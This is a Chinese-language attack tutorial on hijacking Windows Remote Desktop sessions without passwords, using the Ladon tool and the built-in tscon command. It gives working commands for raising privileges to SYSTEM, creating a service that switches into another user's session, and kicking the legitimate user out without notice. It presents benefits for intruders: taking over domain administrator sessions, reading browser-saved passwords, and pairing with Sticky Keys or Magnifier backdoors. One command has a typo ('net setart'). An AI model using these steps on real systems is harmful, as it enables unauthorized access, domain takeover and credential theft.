〖教程〗RDP会话劫持 Ladon无密码登陆管理员桌面会话
前言
Windows系统下,tscon或任务管理器右键可被用来切换远程桌面的会话。正常情况下,切换会话时需要提供登录密码,但在SYSTEM权限下可够绕过验证,无密码实现未授权登录。该漏洞在2017年由以色列安全研究员Alexander Korznikov在个人博客中披露,mimikat里面也有该功能,为了方便Ladon也添加了该功能。
背景
实战中某个项目的内网HTTPS证书有问题,特别奇葩不知为何,代理或CMD下无法连WEBSHELL,还有些远程连接程序管理员连着远程机器,特别是连着数据库的在自动处理数据,当管理员不在时我们只要接管他的会话就很香了。
漏洞细节
本地用户若能获取NT AUTHORITY/SYSTEM权限执行命令,就能够劫持任何处于已登录用户的会话,而无需获得该用户的登录凭证。终端服务会话可以是连接状态也可以是未连接状态。
Korznikov认为这是个高危漏洞,可允许任何本地管理员劫持会话并访问:
- 域管理员会话;
- 被劫持用户正在处理的任何未保存文件;
- 被劫持用户先前登录的任何其他系统或应用(可能包括其他远程桌面会话、网络共享映射、需要其他登录凭证的应用、邮箱等)
Ladon用法
Load RDPhijack
Usage:
Ladon RDPHijack sessionID
Ladon RDPHijack type or password
Example:
Ladon RDPHijack 3
Ladon RDPHijack 3 console
Ladon RDPHijack 3 aaa@qq.com
Ladon RDPHijack 3 disconnect
首先query user查看会话ID,然后使用Ladon接管会话即可,操作完成后disconnect即可,或者再连回原先会话。
PS: 用这个技术去劫持,系统不会请求合法用户登出,而是在没有任何通知的情况下,直接将用户踢出。
tscon用法
- 先获取SYSTEM权限,管理员权限执行以下命令,将弹出SYSTEM权限CMD,然后query user查看已登陆会话
Ladon getsystem cmd.exe
- 创建劫持用户会话的服务
C:\Users\k8gege>sc create sesshijack binpath= “cmd.exe /k tscon 1 /dest:rdp-tcp#5”
[SC] CreateService SUCCESS
- 启动服务
net setart sesshijack
PS:该方法优点系统自带,但稍威麻烦一点
条件
1.管理员权限
2.用户桌面(RDP、终端)
强大之处
1.它可以登录到离线的机器。如果机器是在3天之内注销的,尽管它现在是离线状态,我们也可以进行登录。
2.它可以解锁会话。如果一个用户暂时离开他的计算机并且对他的机器,你可以使用这个漏洞进行解锁登录。
3.他同样适用于终端。所以,你可以劫持RDP,同样可以劫持终端。
4.当前用户切换至域控桌面,直接即可获取域控权限
5.特殊程序只能指定用户访问(如证书站点、Firefox、Chrome等使用DBAPI的密码读取)
6.配合SHIFT或放大镜等类似后门,可以在不登陆远程机器的情况下访问管理员会话。
工具下载
最新版本:https://k8gege.org/Download
历史版本: https://github.com/k8gege/Ladon/releases